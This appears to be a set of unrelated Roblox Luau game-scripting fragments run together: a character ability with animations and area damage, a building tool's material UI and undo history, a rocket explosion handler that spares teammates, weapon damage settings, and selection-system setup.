script.Parent.OnServerEvent:Connect(function(p) local Character = p.Character local Humanoid = Character.Humanoid local RootPart = Character.HumanoidRootPart local anim1 = Humanoid:LoadAnimation(script["1"]) local anim2 = Humanoid:LoadAnimation(script["2"]) local FX = Assets["Red"]:Clone() local RArmFX = Assets.RA.Attachment:Clone() local RArm = Character["Right Arm"] RArmFX.Sound:Play() RArmFX.Voice:Play() RArmFX.Parent = RArm Humanoid.WalkSpeed = 0 Humanoid.JumpPower = 0 Humanoid.JumpHeight = 0 local vel = Instance.new("BodyVelocity", RootPart) vel.MaxForce = Vector3.new(1,1,1) * 1000000; vel.Parent = RootPart vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0 vel.Name = "SmallMoveVel" game.Debris:AddItem(vel,1) FX.Parent = workspace.Effects FX.CFrame = RootPart.CFrame * CFrame.new(0,2,-5) anim1:Play() wait(1.25) Humanoid.AutoRotate = false for _,Particles in pairs(RArmFX.Attachment.Parent:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles.Enabled = false end end RArmFX.N.Enabled = true RArmFX.N2.Enabled = true RArmFX.N3.Enabled = true wait(.5) anim2:Play() RArmFX:Destroy() FX.Parent = workspace.Effects FX.CFrame = RootPart.CFrame * CFrame.new(0,-3,-25) FX.Sound:Play() for _,Particles in pairs(FX.Red.Attachment:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end for _,Particles in pairs(FX.Red.Attachment2:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end for _,Particles in pairs(FX.Red.Explode:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end for _,Particles in pairs(FX.Red.Parent:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end for _,Particles in pairs(FX.Red.FX:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end for _,Particles in pairs(FX.Red.FX2:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end local hitcontent = workspace:GetPartBoundsInBox(FX.CFrame, Vector3.new(18, 14.5, 52)) local hitlist = {} for _,v in pairs(hitcontent) do if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then if not hitlist[v.Parent.Humanoid] then hitlist[v.Parent.Humanoid] = true v.Parent.Humanoid:TakeDamage(Damage) local vel = Instance.new("BodyVelocity", v.Parent.HumanoidRootPart) vel.MaxForce = Vector3.new(1,1,1) * 1000000; vel.Parent = v.Parent.HumanoidRootPart vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 180 vel.Name = "SmallMoveVel" game.Debris:AddItem(vel,0.1) local HitFX = Assets.HitFX.Attach:Clone() HitFX.Parent = v.Parent.HumanoidRootPart for _,Particles in pairs(HitFX:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end game.Debris:AddItem(HitFX,3) end end end RockModule.RayCastEffect(RootPart, 10, 6.5, -6.5, 1, 1) anim1:Stop() wait(1.5) Humanoid.AutoRotate = true Humanoid.WalkSpeed = 16 Humanoid.JumpPower = 50 Humanoid.JumpHeight = 7.2 wait(3) FX:Destroy() end)
-- Current UI layout
local CurrentLayout; function MaterialTool:ChangeLayout(Layout) -- Sets the UI to the given layout -- Make sure the new layout isn't already set if CurrentLayout == Layout then return; end; -- Set this as the current layout CurrentLayout = Layout; -- Reset the UI for _, ElementName in pairs(UIElements) do local Element = self.UI[ElementName]; Element.Visible = false; end; -- Keep track of the total vertical extents of all items local Sum = 0; -- Go through each layout element for ItemIndex, ItemName in ipairs(Layout) do local Item = self.UI[ItemName]; -- Make the item visible Item.Visible = true; -- Position this item underneath the past items Item.Position = UDim2.new(0, 0, 0, 20) + UDim2.new( Item.Position.X.Scale, Item.Position.X.Offset, 0, Sum + 10 ); -- Update the sum of item heights Sum = Sum + 10 + Item.AbsoluteSize.Y; end; -- Resize the container to fit the new layout self.UI.Size = UDim2.new(0, 200, 0, 40 + Sum); end; function MaterialTool:UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not self.UI then return; end; -- References to inputs local TransparencyInput = self.UI.TransparencyOption.Input.TextBox; local ReflectanceInput = self.UI.ReflectanceOption.Input.TextBox; ----------------------- -- Update the UI layout ----------------------- -- Figure out the necessary UI layout if #Selection.Parts == 0 then self:ChangeLayout(Layouts.EmptySelection); return; -- When the selection isn't empty else self:ChangeLayout(Layouts.Normal); end; -- Get the common properties local Material = Support.IdentifyCommonProperty(Selection.Parts, 'Material'); local Transparency = Support.IdentifyCommonProperty(Selection.Parts, 'Transparency'); local Reflectance = Support.IdentifyCommonProperty(Selection.Parts, 'Reflectance'); -- Update the material dropdown if self.CurrentMaterial ~= Material then self.CurrentMaterial = Material self.OnMaterialChanged:Fire(Material) end -- Update inputs UpdateDataInputs { [TransparencyInput] = Transparency and Support.Round(Transparency, 2) or '*'; [ReflectanceInput] = Reflectance and Support.Round(Reflectance, 2) or '*'; }; end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncMaterial', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncMaterial', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncMaterial', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
-- Customized explosive effect that doesn't affect teammates and only breaks joints on dead parts
local function OnExplosionHit(hitPart, hitDistance, blastCenter) if hitPart and hitDistance then local character, humanoid = FindCharacterAncestor(hitPart.Parent) if humanoid and humanoid.Health > 0 then -- Humanoids are tagged and damaged if hitPart.Name == 'Torso' then --ApplyTags(humanoid) DamageTag(character,BLAST_DAMAGE) --humanoid:TakeDamage(BLAST_DAMAGE) end end end end local function OnTouched(otherPart,RayPos) if Rocket and otherPart then -- Fly through anything in the ignore list if IGNORE_LIST[string.lower(otherPart.Name)] or (otherPart.Parent == Tank) then return end local myPlayer = CreatorTag.Value if myPlayer then -- Fly through the creator if myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then return end -- Fly through friendlies if not myPlayer.Neutral then local character = FindCharacterAncestor(otherPart.Parent) local player = PlayersService:GetPlayerFromCharacter(character) if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then return end end end -- Fly through terrain water --[[if otherPart == Workspace.Terrain then --NOTE: If the rocket is large, then the simplifications made here will cause it to fly through terrain in some cases local frontOfRocket = Rocket.Position + (Rocket.CFrame.lookVector * (Rocket.Size.Z / 2)) local cellLocation = Workspace.Terrain:WorldToCellPreferSolid(frontOfRocket) local cellMaterial = Workspace.Terrain:GetCell(cellLocation.X, cellLocation.Y, cellLocation.Z) if cellMaterial == Enum.CellMaterial.Water or cellMaterial == Enum.CellMaterial.Empty then return end end]] Rocket.Transparency = 1 Rocket.CFrame = CFrame.new(RayPos.X,RayPos.Y,RayPos.Z) -- Create the explosion local explosion = Instance.new('Explosion') explosion.BlastPressure = 500000 -- Completely safe explosion explosion.BlastRadius = BLAST_RADIUS explosion.DestroyJointRadiusPercent = 0 explosion.ExplosionType = Enum.ExplosionType.NoCraters explosion.Position = Rocket.Position explosion.Parent = game.Players.LocalPlayer.Character.Torso -- Connect custom logic for the explosion explosion.Hit:connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end) ypcall(function() for i = 1, 3 do ExplodeClone = Explode:clone() ExplodeClone.Position = Rocket.Position ExplodeClone.Mesh.Scale = Vector3.new(5,5,5)*5 ExplodeClone.CFrame = ExplodeClone.CFrame * CFrame.fromEulerAnglesXYZ(math.random(-10000,10000)/100,math.random(-10000,10000)/100,math.random(-10000,10000)/100) ExplodeClone.Parent = game.Players.LocalPlayer.Character.Torso NewScript = Rocket.SmokeScript:clone() NewScript.Disabled = false NewScript.Parent = ExplodeClone end end) -- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket script.Parent = explosion CreatorTag.Parent = script Rocket:Destroy() end end
--// Damage Settings
BaseDamage = 42; -- Torso Damage LimbDamage = 35; -- Arms and Legs ArmorDamage = 35; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 61; -- If you set this to 100, there's a chance the player won't die because of the heal script
-- Core selection system
Selection = {} Selection.Items = {} Selection.ItemIndex = {} Selection.Parts = {} Selection.PartIndex = {} Selection.Models = {} Selection.ModelIndex = {} Selection.Outlines = {} Selection.Color = BrickColor.new 'Cyan' Selection.Multiselecting = false Selection.Maid = Maid.new()